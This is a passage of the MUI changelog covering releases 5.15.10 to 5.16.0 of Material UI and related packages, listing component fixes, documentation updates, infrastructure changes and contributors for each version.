CssVarsProvider (#42713) @ZeeshanTamboli\n\n### `@mui/joy@5.0.0-beta.48`\n\n- [Autocomplete] Fix React spread key warning (#42856) @aarongarciah\n\n### Docs\n\n- [material-ui] Fix React 18.3 key spread warnings in Autocomplete demos (#42854) @aarongarciah\n- [material-ui] Fix type error in virtualized table demo (#42852) @aarongarciah\n- Fix typos (@omahs) (#42888) @omahs\n- Fix 301 @oliviertassinari\n\n### Core\n\n- [core] Bump React to 18.3.1 (#42846) @aarongarciah\n- [core] Remove react-test-renderer (#42853) @aarongarciah\n- [core] Replace enzyme in describeConformance (#42847) @aarongarciah\n- [test] Remove enzyme (#42850) @aarongarciah\n- [test] Remove createMount test util (#42849) @aarongarciah\n- [base-ui] Fix React spread key warning in test (#42855) @aarongarciah\n- [styles][withStyles] Expect React defaultProps warning in test (#42752) (#42851) @aarongarciah\n\nAll contributors of this release in alphabetical order: @aarongarciah, @oliviertassinari, @omahs, @ZeeshanTamboli\n\n## 5.16.0\n\n<!-- generated comparing v5.15.21..master -->\n\n_Jul 5, 2024_\n\nA big thanks to the 5 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added `InitColorSchemeScript` for Next.js App Router (#42829) @siriwatknp\n\n### `@mui/material@5.16.0`\n\n- [Alert] Add ability to override slot props (@alexey-kozlenkov) (#42808) @alexey-kozlenkov\n- Add `InitColorSchemeScript` for Next.js App Router (#42829) @siriwatknp\n- Add `DefaultPropsProvider` (#42820) @siriwatknp\n- Support `CssVarsTheme` in `responsiveFontSizes` return type (@jxdp) (#42806) @jxdp\n- Remove warning from `getInitColorSchemeScript` (#42838) @siriwatknp\n\n### Docs\n\n- [docs] Fix 301 MDN redirections @oliviertassinari\n\n### Core\n\n- [mui-utils][test] Remove usages of deprecated react-dom APIs (@aarongarciah) (#42813) @aarongarciah\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexey-kozlenkov, @jxdp, @oliviertassinari, @siriwatknp\n\n## 5.15.21\n\n<!-- generated comparing v5.15.20..master -->\n\n_Jun 28, 2024_\n\nA big thanks to the 7 contributors who made this release possible.\n\n### `@mui/material@5.15.21`\n\n- [Autocomplete] Fix renderOption props type (@DiegoAndai) (#42709) @DiegoAndai\n- [Stepper] Generate class for `nonLinear` prop (@alexismo) (#42677) @alexismo\n\n### Docs\n\n- Use new email for sponsoring @oliviertassinari\n- Fix 301 links (@alexfauquette) (#42700) @alexfauquette\n- [material-ui][Select] Fix the `SelectAutoWidth` demo menu item value (@Danielkhakbaz) (#42696) @Danielkhakbaz\n- [material-ui][Autocomplete] Fix more React 18.3 key spread warnings in demos (#42766) @wbt\n- [material-ui] Fix sign in side image (#42708) @zanivan\n\n### Core\n\n- [core] Cherry pick pnpm updates (#42763) @DiegoAndai\n\nAll contributors of this release in alphabetical order: @alexfauquette, @alexismo, @arminmeh, @Danielkhakbaz, @DiegoAndai, @mnajdova, @oliviertassinari\n\n## 5.15.20\n\n<!-- generated comparing v5.15.19..master -->\n\n_Jun 12, 2024_\n\nA big thanks to the 9 contributors who made this release possible.\n\n### `@mui/material@5.15.20`\n\n- [Autocomplete] Shouldn't resize when hovering (@ZeeshanTamboli) (#42535) @ZeeshanTamboli\n- [Tab] Fix applying `iconWrapper` styles from theme and update its description (@sai6855) (#42570) @sai6855\n\n### `@mui/utils@5.15.15`\n\n- Allow passing `NaN` as `defaultValue` to `useControlled` (@iammminzzy) (#42571) @iammminzzy\n- Fix GitHub-reported prototype pollution vulnerability in `deepmerge` (#41652) (#42608) @DiegoAndai\n\n### Docs\n\n- [docs] Add Pigment CSS and Base UI logos SVGs (#42513) @danilo-leal\n- [docs] Update twitter.com to x.com @oliviertassinari\n- [docs] Simplify Example projects page @oliviertassinari\n- [material-ui] Add docs for complementary stepper components (@anle9650) (#42613) @anle9650\n- [docs] Add changelog section to the design kits page (@danilo-leal) (#42463) @danilo-leal\n- [material-ui] Fix sentence in the All components page (@danilo-leal) (#42462) @danilo-leal\n- [material-ui] Update Figma design kit doc redirect link (@danilo-leal) (#42456) @danilo-leal\n- [system] Add \"dynamic values\" section to sx prop page (@aarongarciah) (#42453) @aarongarciah\n\n### Core\n\n- [examples] Remove Pigment CSS examples (#42538) @sai6855\n\nAll contributors of this release in alphabetical order: @aarongarciah, @anle9650, @DanailH, @danilo-leal, @erezstmn-doit, @iammminzzy, @oliviertassinari, @sai6855, @ZeeshanTamboli\n\n## 5.15.19\n\n<!-- generated comparing v5.15.18..master -->\n\n_May 29, 2024_\n\nA big thanks to the 12 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.19`\n\n- [AlertTitle] Enable extending Typography props (@lucasgmelo) (#42334) @github-actions[bot]\n- [responsiveFontSizes] Handled undefined variants (@brijeshb42) (#42419) @github-actions[bot]\n- [Slider] Fix wrong CSS value (@mnajdova) (#42373) @github-actions[bot]\n\n### Docs\n\n- Link to pnpm installation docs (#42420) @aarongarciah\n- Remove LocalMonero (@oliviertassinari) (#42315) @github-actions[bot]\n- [material-ui] Fix typo in style interoperability with Tailwind CSS docs (@ZeeshanTamboli) (#42312) @github-actions[bot]\n- [material-ui][Pagination] Clarify pagination `page` prop API (@Mandar-Pandya) (#42265) @github-actions[bot]\n- [material-ui][Tabs] Improve the Basic Tabs demo (@MatheusEli) (#42426) @github-actions[bot]\n- [pigment-css] Fix duplication of content (#42410) @oliviertassinari\n\n### Core\n\n- [blog] Add the \"Product\" tag to the Pigment CSS post (@danilo-leal) (#42366) @github-actions[bot]\n- [blog] Update blog post OG image (@danilo-leal) (#42306) @github-actions[bot]\n- [blog] Update Pigment CSS post (@danilo-leal) (#42267) @github-actions[bot]\n- [core] Fix React 18.3 warnings about spreading keys in the Material UI `Autocomplete` component (#42099) (#42241) @DiegoAndai\n- [core] Fix a few more key spread issues (@oliviertassinari) (#42318) @github-actions[bot]\n- [docs-infra] Allow JSDoc tags (#42327) @aarongarciah\n\nAll contributors of this release in alphabetical order: @aarongarciah, @brijeshb42, @danilo-leal, @DiegoAndai, @KenanYusuf, @lucasgmelo, @Mandar-Pandya, @MatheusEli, @mnajdova, @nikitaa24, @oliviertassinari, @ZeeshanTamboli\n\n## 5.15.18\n\n<!-- generated comparing v5.15.17..master -->\n\n_May 14, 2024_\n\nA big thanks to the 5 contributors who made this release possible. Here are some highlights ✨:\n\n### `@mui/material@5.15.18`\n\n- [Autocomplete] Improve design when there's a start adornment for small autocomplete (@TahaRhidouani) (#42176) @github-actions[bot]\n- [ToggleButtonGroup] Add missing `selected` class in ToggleButtonGroupClasses type (@tarunrajput) (#42250) @github-actions[bot]\n\n### Docs\n\n- [docs] Fix 301 to Figma @oliviertassinari\n\n### Core\n\n- [blog] Introducing Pigment CSS blog post (#42198) (#42255) @samuelsycamore\n\nAll contributors of this release in alphabetical order: @arthurbalduini, @oliviertassinari, @samuelsycamore, @TahaRhidouani, @tarunrajput\n\n## 5.15.17\n\n<!-- generated comparing v5.15.16..master -->\n\n_May 8, 2024_\n\nA big thanks to the 4 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.17`\n\n- [Slider] Move palette styles to the bottom (#41676) @siriwatknp\n\n### Docs\n\n- Fix SEO redirection issues @oliviertassinari\n- [material-ui] Fix broken link (@aarongarciah) (#42143) @github-actions[bot]\n- [material-ui] Fix link on the Sync page (@danilo-leal) (#42089) @github-actions[bot]\n\n### Core\n\n- [blog] Shorten title to fit @oliviertassinari\n- [blog] Update Sync post OG image (@danilo-leal) (#42117) @github-actions[bot]\n- [blog] A few tweaks in introducing-sync-plugin (@oliviertassinari) (#42094) @github-actions[bot]\n- [docs-infra] Fix code block layout shift (#41917) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @github-actions[bot], @joserodolfofreitas, @oliviertassinari, @siriwatknp\n\n## 5.15.16\n\n<!-- generated comparing v5.15.15..master -->\n\n_May 1, 2024_\n\nA big thanks to the 8 contributors who made this release possible. Here are some highlights ✨:\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.16`\n\n- [material-ui][Dialog] Prevent onClick on the root element from being overwritten (@ryanburr) (#41914) @github-actions[bot]\n- [material-ui][Select] Fix `muiName` property TypeScript error (@EyaOuenniche) (#41786) @github-actions[bot]\n- —>[material-ui][l10n] Fix typo in is-IS locale (@magnimarels) (#41815) @github-actions[bot]\n\n### Docs\n\n- Fix small SEO issues @oliviertassinari\n- Fix 301 Toolpad links @oliviertassinari\n- Fix 301 Toolpad links @oliviertassinari\n- Fix 301 image redirections @oliviertassinari\n- Fix small SEO issues @oliviertassinari\n- Fix 301 redirection @oliviertassinari\n- Fix format git diff regression (#41882) @oliviertassinari\n- Fix 301 links @oliviertassinari\n- [material-ui] Fix import statement in migration guide (@sai6855) (#41864) @github-actions[bot]\n- [material-ui] Update Figma plugin name (@danilo-leal) (#42057) @github-actions[bot]\n- [material-ui] Fix minor spelling error in the \"About the lab\" page (@ryanhartwig) (#42075) @github-actions[bot]\n- [material-ui] Add missing backticks to HTML tag in the installation page (@Miguelrom) (#42009) @github-actions[bot]\n- [material-ui] Add Connect-related content (@danilo-leal) (#41924) @DiegoAndai\n- [material-ui] Fix Material 3 message typo (@aarongarciah) (#41822) @github-actions[bot]\n- [material-ui] Remove Data Grid v7 beta callout (@cherniavskii) (#41842) @github-actions[bot]\n- [material-ui][templates] Fix input props attributes in Landing Page template (@5-tom) (#42034) @github-actions[bot]\n- [system] Update typo on the sx prop page (@bricker) (#42078) @github-actions[bot]\n\n### Core\n\n- [blog] Add post to introduce the Connect plugin (@danilo-leal) (#41929) @DiegoAndai\n- [core] Automate cherry-pick of PRs from `next` -> `master` (#41742) @aarongarciah\n- [docs-infra] Improve Twitter OG:image (#41860) @oliviertassinari\n- [docs-infra] Use edge function for card generation (#41188) @alexfauquette\n- [docs-infra] Fix drawer performances (#41807) (#41820) @alexfauquette\n- [docs-infra] Fix analytics about inline ads (#41474) @alexfauquette\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @DanailH, @DiegoAndai, @github-actions[bot], @JCQuintas, @mnajdova, @oliviertassinari\n\n## 5.15.15\n\n<!-- generated comparing v5.15.14..master -->\n\n_Apr 4, 2024_\n\nA big thanks to the 7 contributors who made this release possible. Here are some highlights ✨:\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.15`\n\n- [Autocomplete] Display options provided to the `options` prop even if loading is true (#41677) @ZeeshanTamboli\n- [RadioGroup] Apply classnames (#41681) @ZeeshanTamboli\n\n### `@mui/system@5.15.15`\n\n- Fix typo to avoid infinite recursion in function call (#41678) @ZeeshanTamboli\n\n### Docs\n\n- [material-ui][Slider] Remove `valueLabelFormat` from restricted values demo so that the tooltip thumb label displays the same as the value text (#41679) @ZeeshanTamboli\n- [material-ui] Remove deleted page from the sidenav (#41594) @danilo-leal\n- [material-ui] Fix typo in CSS theme variables customization (#41680) @ZeeshanTamboli\n- Continue migration of Base UI to sperate repository @oliviertassinari\n- Add notification for MUI X v7 blog post (#41587) (#41605) @cherniavskii\n- Update the versions dropdown to show v6 (#41557) @mnajdova\n\n### Core\n\n- [blog] Link to Romain's blog post in MUI X v7 announcement post (#41641) @cherniavskii\n- [blog] Blog post with MUI X v7.0.0 annoucement (#41563) (#41604) @cherniavskii\n- [blog] Add post about remote (#41565) @danilo-leal\n- [core] Continue rename of Toolpad @oliviertassinari\n- [docs-infra] Add Toolpad product/category IDs to types (#41551) @bharatkashyap\n\nAll contributors of this release in alphabetical order: @aarongarciah, @bharatkashyap, @cherniavskii, @danilo-leal, @mnajdova, @oliviertassinari, @ZeeshanTamboli\n\n## 5.15.14\n\n<!-- generated comparing v5.15.13..master -->\n\n_Mar 18, 2024_\n\nA big thanks to the 15 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.14`\n\n- [Accordion] Convert to support CSS extraction (#41221) @mnajdova\n- [Autocomplete] Convert to support CSS extraction (#40330) @mnajdova\n- [Slider] Convert to support CSS extraction (#41201) @mnajdova\n- [Select] Fix variant type (#41405) @sai6855\n- [typescript] Use interface instead of type for props (#41500) @siriwatknp\n\n### `@pigment-css/react@0.0.3`\n\n- Add Box component (#41451) @brijeshb42\n\n### `pigment-css/nextjs-plugin@0.0.3`\n\n- Fix alias resolver (#41494) @brijeshb42\n- Follow-up to #41494 (#41502) @brijeshb42\n\n### Docs\n\n- [joy-ui] Add UI improvements to the side navigation demo (#41461) @cipherlogs\n- [pigment-css] Add media query guide (#41473) @siriwatknp\n- [pigment-css] Fixing location of the ExtendTheme type in the docs (#41499) @jherr\n- [material-ui][Progress] Add Circular progress gradient demo from Github comment (#40559) @DiegoAndai\n\n### Core\n\n- [blog] Bringing consistency to Material UI customization APIs (#41040) @DiegoAndai\n- [code-infra] Rename @mui-internal/docs-utils to @mui/internal-docs-utils (#41498) @michaldudak\n- [code-infra] Copy translations.json to @mui/docs build folder (#41472) @Janpot\n- [core] Use Circle CI context (#41532) @oliviertassinari\n- [core] Fix CHANGELOG format and update date (#41481) @DiegoAndai\n- [docs] Fix useStorageState regressions (#41223) @Janpot\n- [docs] Fix some Vale errors (#41516) @oliviertassinari\n- [material-ui][docs] Fix landing page template's h1 size (#41543) @zanivan\n- [material-ui][docs] Apply new code header docs feature (#41508) @danilo-leal\n- [material-next] Drop the package (#41544) @mnajdova\n- [docs-infra] Fail CI on Vale error (#40944) @oliviertassinari\n- [docs-infra] Improve Vale config @oliviertassinari\n- [docs-infra] Add a feature list \"component\" (#41484) @danilo-leal\n- [docs-infra] Add code block header classes (#41487) @danilo-leal\n- [docs-infra] Make the Algolia search input label invisible (#41542) @danilo-leal\n\nAll contributors of this release in alphabetical order: @bharatkashyap, @brijeshb42, @cherniavskii, @cipherlogs, @danilo-leal, @DiegoAndai, @EyaOuenniche, @Janpot, @jherr, @michaldudak, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp, @zanivan\n\n## 5.15.13\n\n<!-- generated comparing v5.15.12..master -->\n\n_Mar 13, 2024_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highights ✨\n\n- The Material UI free Checkout template got a design uplift (#41447) @zanivan\n\n### `@mui/material@5.15.13`\n\n- [Alert] Add `slots` and `slotProps` type to theme (#41324) @sai6855\n- [Autocomplete] Fix the options list being added to the DOM in `freeSolo` mode even when there are no options, causing style problems (#41300) @rakeshmusturi\n- Add `paperChannel` token (#41447) @siriwatknp\n- [Switch] Convert to support CSS extraction (#41367) @alexfauquette\n- [Tooltip] Support event handlers with extra parameters (#41320) @LukasTy\n\n### `@mui/system@5.15.13`\n\n- [RtlProvider] Add component & hook (#41241) @mnajdova\n\n### `@mui/utils@5.15.13`\n\n- [utils] Fix visually hidden styles' margin unit (#41477) @michaldudak\n\n### `@mui/codemod@5.15.13`\n\n- Fix merging of slotProps and componentProps (#41323) @sai6855\n\n### `@mui/base@5.0.0-beta.39`\n\n- [material-ui][joy-ui][Autocomplete] Keep in sync highlighted index when the option still exists (#41306) @CGNonofr\n- [FormControl] Export `FormControlOwnerState` type from index (#41287) @michaeldfoley\n- [material-ui][TextareaAutosize] Fix inline style not getting applied (#41369) @ZeeshanTamboli\n\n### `@pigment-css/react@0.0.2`\n\n- Handle more scenarios while transforming sx prop (#41372) @brijeshb42\n- Improve testing of fixtures (#41389) @brijeshb42\n- Fix `keyframes` serialize styles error (#41395) @siriwatknp\n- Use class selector instead of class value (#41442) @brijeshb42\n- [next] Warn about unsupported turbo mode in Next.js (#41445) @brijeshb42\n\n### Docs\n\n- [material-ui] Refine checkout template (#40967) @zanivan\n- [material-ui] Add docs for complementary List components (#41329) @anle9650\n- [material-ui] Add docs for complementary Dialog components (#41313) @jwithington\n- [material-ui] Fix Templates live preview link (#41467) @danilo-leal\n- [material-ui] Polish out the templates page (#41468) @zanivan\n- [material-ui] Adjust the Templates card design (#41450) @danilo-leal\n- [joy-ui] Remove unnecessary styles in color inversion footer demo (#41419) @cipherlogs\n- [joy-ui] Update case studies chip background color (#41413) @cipherlogs\n- [joy-ui] Remove wrong CSS prop from the Sign-in-side template (#41383) @cipherlogs\n- [joy-ui] Fix broken link on the Color Inversion page (#41407) @cipherlogs\n- [pigment] Add example and guide section (#41249) @siriwatknp\n- [pigment-css] Brand name nonbreaking space (#41438) @oliviertassinari\n- [pigment-css] Fix import on the README (#41411) @danilo-leal\n- [pigment-css] Edit starter template links on README (#41409) @danilo-leal\n- [pigment-css] Tweak the examples and edit READMEs (#41408) @danilo-leal\n- [pigment-css] Adjust the bit about CSS vars on the README (#41463) @danilo-leal\n- Finish brand name fixes #41438 @oliviertassinari\n- Remove noreferrer @oliviertassinari\n- Fix v4 docs `<b>` appearing in notifications (#41390) @peterwangsc\n- Update GitHub project links (#41370) @danilo-leal\n\n### Core\n\n- [pigment] Make all Pigment CSS packages public (#41404) @brijeshb42\n- [pigment] Rename directories to match package names (#41453) @brijeshb42\n- [pigment-css] Example fix leading spaces (#41439) @oliviertassinari\n- [code-infra] Add short note about e2e-website workflow schedule (#41355) @Janpot\n- [code-infra] Add alias for icon types (#41248) @Janpot\n- [code-infra] Reduce concurrency of typescript:ci further (#41392) @Janpot\n- [code-infra] Reduce concurrency for test_types ci job (#41385) @Janpot\n- [code-infra] Adapt API code generator to Base UI repo needs (#41475) @michaldudak\n- [docs-infra] Don't generate preview files for the templates (#41379) @mnajdova\n- [docs-infra] Fix Pigment CSS apps path in the render mui demos script (#41476) @mnajdova\n- [docs-infra] move feedback to ESM (#41381) @alexfauquette\n- [docs-infra] Improve color contrast throughout (#41387) @danilo-leal\n- [docs-infra] Simplify Algolia crawler config (#41312) @oliviertassinari\n- [docs-infra] Adjust the tabs and layout selection design (#41084) @danilo-leal\n- [blog] Update the Base UI post with links to dedicated repo (#41358) @danilo-leal\n- [examples] Add pigment-css-vite-ts starter example (#41196) @siriwatknp\n- [examples] Add pigment-css-nextjs-ts starter project (#41105) @siriwatknp\n\nAll contributors of this release in alphabetical order: @alexfauquette, @anle9650, @brijeshb42, @CGNonofr, @cipherlogs, @danilo-leal, @jwithington, @Janpot, @michaeldfoley, @michaldudak, @mnajdova, @oliviertassinari, @peterwangsc, @rakeshmusturi, @sai6855, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 5.15.12\n\n<!-- generated comparing v5.15.11..master -->\n\n_Mar 5, 2024_\n\nA big thanks to the 21 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@pigment-css/react@0.0.1`, `@pigment-css/nextjs-plugin@0.0.1`, `@pigment-css/vite-plugin@0.0.1`, & `@pigment-css/unplugin@0.0.1`\n\n- This is the first public release of our new zero-runtime CSS-in-JS library, Pigment CSS.\n\n### `@mui/material@5.15.12`\n\n- Support props callback type in theme variants (#40946) @ZeeshanTamboli\n- [Alert] Convert to support zero runtime (#41230) @siriwatknp\n- [Alert] Deprecate composed classes (#40688) @DiegoAndai\n- [Button] Deprecate classes for v6 (#40675) @sai6855\n- [Checkbox] `large` size added in type (#34909) @smox\n- [Chip] Deprecate composed classes (#41235) @sai6855\n- [Chip] Correct `deleteIconColorPrimary` and `deleteIconColorSecondary` class descriptions (#41231) @sai6855\n- Remove unused dev dependency on @mui/lab (#41198) @brijeshb42\n- [Slider] Deprecate components and componentProps props for v6 (#40777) @lhilgert9\n\n### `@mui/system@5.15.12`\n\n- [pigment-css][material-ui] Render badge demos (#41353) @siriwatknp\n- [pigment-css] Update to latest wyw version (#41363) @brijeshb42\n- [pigment-css] Rename scope to @pigment-css (#41354) @brijeshb42\n- [pigment-css] Rename zero-runtime to pigmentcss (#41317) @brijeshb42\n- Fix createSpacing return type (#41318) @matystroia\n- [zero] Add support for styled tagged-template literals (#41268) @brijeshb42\n- [zero] Set up Material UI migration demos (#41267) @siriwatknp\n- [zero] Move extendTheme to already existing @mui/zero-runtime/utils (#41254) @brijeshb42\n- [zero] Remove `object` intersection from CSS Fallback (#41271) @siriwatknp\n- [zero] Minor wording changes in README (#41253) @brijeshb42\n- [zero] Prepare zero-runtime packages for public release (#41226) @brijeshb42\n\n### `@mui/joy@5.0.0-beta.30`\n\n- [joy-ui][Autocomplete] Fix text overflow in Chip (#40229) @PunitSoniME\n\n### Docs\n\n- [base-ui] Update the docs post repo separation (#41328) @danilo-leal\n- Fix missing partner link @oliviertassinari\n- Update links to GitHub projects (#41297) @danilo-leal\n- Standardize WAI-ARIA referencest @oliviertassinari\n- Fix image layout shift when loading @oliviertassinari\n- [joy-ui] Add stray adjustments throughout the docs (#41211) @danilo-leal\n- [material-ui] Remove duplicated text at FAQ page (#41326) @zanivan\n- [material-ui] Fix color mode toggle of the landing page template (#41293) @zanivan\n- [system] Tweak the Usage demos (#41242) @danilo-leal\n- [zero] Add a Why section on the README (#41284) @danilo-leal\n\n### Core\n\n- Revert \"[utils] Port `useLocalStorageState` hook from Toolpad (#41096)\" @oliviertassinari\n- [blog] Add post about how MUI uses Toolpad (#40172) @prakhargupta1\n- [blog] No bundled demos in blog posts @oliviertassinari\n- [code-infra] Embed translations in the @mui/docs package (#41246) @Janpot\n- [code-infra] Prepare the markdown package for publishing (#41240) @michaldudak\n- [code-infra] Unpin the version of docs-utils in scripts (#41232) @michaldudak\n- [core] Use runtime agnostic setTimeout type @oliviertassinari\n- [core] Remove window. reference for common globals @oliviertassinari\n- [core] Add a script to build all packages (#40631) @michaldudak\n- [docs-infra] Fix missing non breaking spaces @oliviertassinari\n- [docs-infra] Add design customizations to the disclosure element (#41285) @danilo-leal\n- [docs-infra] Adjust headings dark mode color (#41292) @danilo-leal\n- [docs-infra] Fix Stack Overflow breaking space @oliviertassinari\n- [docs-infra] Fix product selector popup not closing on route change (#41166) @divyammadhok\n- [docs-infra] Improve fix blank links ad @oliviertassinari\n- [docs-infra] Support interfaces for X docs (#41069) @alexfauquette\n- [infra] Adjust the links to search for issues (#41008) @michelengelen\n\nAll contributors of this release in alphabetical order: @alexfauquette, @atomiks, @brijeshb42, @DanailH, @danilo-leal, @DiegoAndai, @divyammadhok, @Janpot, @lhilgert9, @matystroia, @michaldudak, @michelengelen, @mj12albert, @oliviertassinari, @prakhargupta1, @PunitSoniME, @sai6855, @siriwatknp, @smox, @zanivan, @ZeeshanTamboli\n\n## 5.15.11\n\n<!-- generated comparing v5.15.10..master -->\n\n_Feb 21, 2024_\n\nA big thanks to the 26 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.11`\n\n- [Alert] Deprecate components and componentsProps props (#40681) @DiegoAndai\n- [Autocomplete] Caret transformation issue with font size change (#41066) @dpertsin\n- [StepLabel] Add type for StepIconComponent (#41082) @harrydigos\n- [TablePagination] Fix type error in Select props (#39137) @PaulKristoffersson\n- [Transitions] External ownerState is incorrectly forwarded to inner components (#41187) @gitstart\n- Use direct import (#40851) @siriwatknp\n\n### `@mui/material-nextjs@5.15.11`\n\n- Fix missing babel/runtime dependency in material-ui-nextjs (#41077) @siriwatknp\n\n### `@mui/system@5.15.11`\n\n- Use direct import (#40851) @siriwatknp\n- Move useMediaQuery to system (#39463) @justintoman\n- Consolidate the variants props callback arguments (#41222) @mnajdova\n- Merge props and ownerState in the variants props callback (#41219) @mnajdova\n\n### `@mui/codemod@5.15.11`\n\n- [AccordionSummary] Add contentGutters deprecation codemods (#41006) @DiegoAndai\n- [PaginationItem] Add codemod for deprecated classes (#41145) @sai6855\n\n### `@mui/utils@5.15.11`\n\n- Port `useLocalStorageState` hook from Toolpad (#41096) @Janpot\n\n### `@mui/base@5.0.0-beta.37`\n\n- [Switch] Add missing role attribute (#40907) @KirankumarAmbati\n- [TextareaAutosize] Improve implementation (#40789) @ZeeshanTamboli\n\n### `@mui/lab@5.0.0-alpha.164`\n\n- [Masonry] Ability to sort elements from left to right (#39904) @Rishi556\n\n### Docs\n\n- [base-ui] Fix focus state demo in Base UI autocomplete (#41104) @oliviertassinari\n- [base-ui] Update the Accessibility page demos design (#40995) @danilo-leal\n- [joy-ui] Fix LinearProgressWithLabel example (#41194) @khgiddon\n- [joy-ui] Fix 404 image on the docs @oliviertassinari\n- [material-ui] Add a \"start now\" section on the Overview page (#41137) @danilo-leal\n- [material-ui] Inform about deprecated TablePagination SelectProps usage (#41186) @gitstart\n- [material-ui] Update the Testing page's Argos link (#41170) @gregberge\n- [material-ui] Remove Masonry component and Material Design icon from the landing page template (#41080) @zanivan\n- [material-ui] Standardize all references to Material Design 3 (M3) (#40903) @samuelsycamore\n- [material-ui] Add stray fixes around a few pages (#41038) @danilo-leal\n- [material-ui][joy-ui][system] Restore and revise the Box docs (#40622) @samuelsycamore\n- [material-ui] Add simpler demo for default behavior (#40980) @zanivan\n- [system] Explain why AppRouterCacheProvider (#40909) @oliviertassinari\n- Link to react-transition group with https @oliviertassinari\n- Update broken URL hashes (#41185) @LukasTy\n- Prefer https links @oliviertassinari\n- Fix MUI Treasury link @oliviertassinari\n- Migrate the last > quotes to ::: callouts @oliviertassinari\n\n### Core\n\n- [blog] Add new product tags and stray adjustments (#41193) @danilo-leal\n- [blog] Simplify `/base-ui-2024-plans/` page (#41171) @oliviertassinari\n- [blog] Add link to Base UI API changes RFC (#41089) @michaldudak\n- [blog] Remove the \"News\" tag (#41208) @danilo-leal\n- [changelog] Remove @mui/system@5.15.10 (#41093) @michaldudak\n- [code-infra] Move typescript-to-proptypes to internal-scripts package (#41079) @michaldudak\n- [code-infra] Move Link to @mui/docs (#40889) @Janpot\n- [code-infra] Use `experimental.cpus` to control amount of export workers in Next.js (#41132) @Janpot\n- [code-infra] Load commonjs files in next.config.mjs with require (#41108) @Janpot\n- [code-infra] Prepare babel macros package for publishing to npm (#41178) @michaldudak\n- [code-infra] Build internal packages before publishing (#41210) @michaldudak\n- [core] Improve the release instructions (#40973) @mnajdova\n- [core] Simplify Next.js Demo Zero Runtime guide @oliviertassinari\n- [core] Fix TypeScript spelling in changelog @oliviertassinari\n- [core] Fix small detail in the autocomplete demo @oliviertassinari\n- [core] Increase node memory limit on Netlify build (#41111) @michaldudak\n- [core] Fix Netlify build cache issue (#43281) @LukasTy\n- [core][Tooltip] Remove incorrect code comment (#41179) @ZeeshanTamboli\n- [core] Fix missing context display names (#41168) @oliviertassinari\n- [core][base-ui] Remove `@mui/base` dev dependency from Base UI workspace (#41216) @ZeeshanTamboli\n- [zero][demo] Fix sample next app build (#41197) @brijeshb42\n- [docs-infra] Simplify copy logic (#41167) @oliviertassinari\n- [docs-infra] New way of providing API layout config (#41106) @alexfauquette\n- [docs-infra] Reduce scrollbar width on ROC (#41148) @oliviertassinari\n- [docs-infra] Add external link arrow (#41129) @siriwatknp\n- [docs-infra] Fix external link arrow (#41181) @alexfauquette\n- [docs-infra] Flag npm and GitHub as wrong spellings @oliviertassinari\n- [docs-infra] Fix display when the default props is undefined (#41114) @oliviertassinari\n- [docs-infra] Remove random layout assignment (#40862) @alexfauquette\n- [docs-infra] Add spacing and contrast improvements (#41191) @danilo-leal\n- [docs-infra] Share vale-config (#41176) @alexfauquette\n- [test] Generalize test utils (#41175) @michaldudak\n- [typescript-to-proptypes] Support using `Omit` on types with conditional properties (#41033) @flaviendelangle\n- [zero] Update to latest version of wyw-in-js (#41182) @brijeshb42\n- [zero] Setup basic testing framework (#40986) @brijeshb42\n- [zero] Fix wrong CSS order by moving import to last (#41002) @siriwatknp\n- [zero] Export `extendTheme` for creating a zero-runtime theme (#40897) @siriwatknp\n- [zero] Move extendTheme to its own subpath (#41204) @brijeshb42\n\nAll contributors of this release in alphabetical order: @alexfauquette, @brijeshb42, @danilo-leal, @DiegoAndai, @dpertsin, @flaviendelangle, @gitstart, @gregberge, @harrydigos, @Janpot, @justintoman, @khgiddon, @KirankumarAmbati, @LukasTy, @michaldudak, @mnajdova, @nikosgavalas, @oliviertassinari, @PaulKristoffersson, @Rishi556, @rluzists1, @sai6855, @samuelsycamore, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 5.15.10\n\n<!-- generated comparing v5.15.9..master -->\n\n_Feb 12, 2024_\n\nA big thanks to the 8 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.10`\n\n- [Avatar] Add props deprecation with a codemod (#40853) @siriwatknp\n\n### `@mui/joy@5.0.0-beta.28`\n\n- [Button] Fix `disabled` prop priority when inside button group (#41000) @Smileek\n- [IconButton] Support loading prop (#40949) @Smileek\n\n### Docs\n\n- [Button][material-ui] Fix 'File upload' demo a11y (#40943) @oliviertassinari\n- [TableRow][material-ui] Escape markup in `children` prop so docgen tools don't parse it as HTML (#40992) @millerized\n- [material-ui] Remove outdated example projects link (it uses Joy UI now) (#40913) @oliviertassinari\n- [material-ui] Fix the \"Intro to the MUI ecosystem\" link placement (#40988) @danilo-leal\n- Fix 301 redirection to StackBlitz @oliviertassinari\n- Fix h1 on Joy UI templates @oliviertassinari\n- Have MUI workspace own the CodeSandbox @oliviertassinari\n- Add notification for MUI X v7 beta (#41001) @joserodolfofreitas\n- Fix 301 links @oliviertassinari\n- Fix Next.js v13.5.1 <title> SEO regression (#40302) @oliviertassinari\n- Add a 404 page (#40884) @danilo-leal\n- Fix missing GitHub label when opening new issue @oliviertassinari\n- [Stack] Update import statement for Stack component (#41032) @sai6855\n\n### Core\n\n- [blog] Add post about upcoming plans for Base UI (#40882) @danilo-leal\n- [core] Simplify CodeSandbox reproduction @oliviertassinari\n- [core] Missing redirection @oliviertassinari\n- [core] Export functions from `copyFiles` script to reuse in MUI X repo (#40970) @cherniavskii\n- [core] Avoid variable shorthands @oliviertassinari\n- 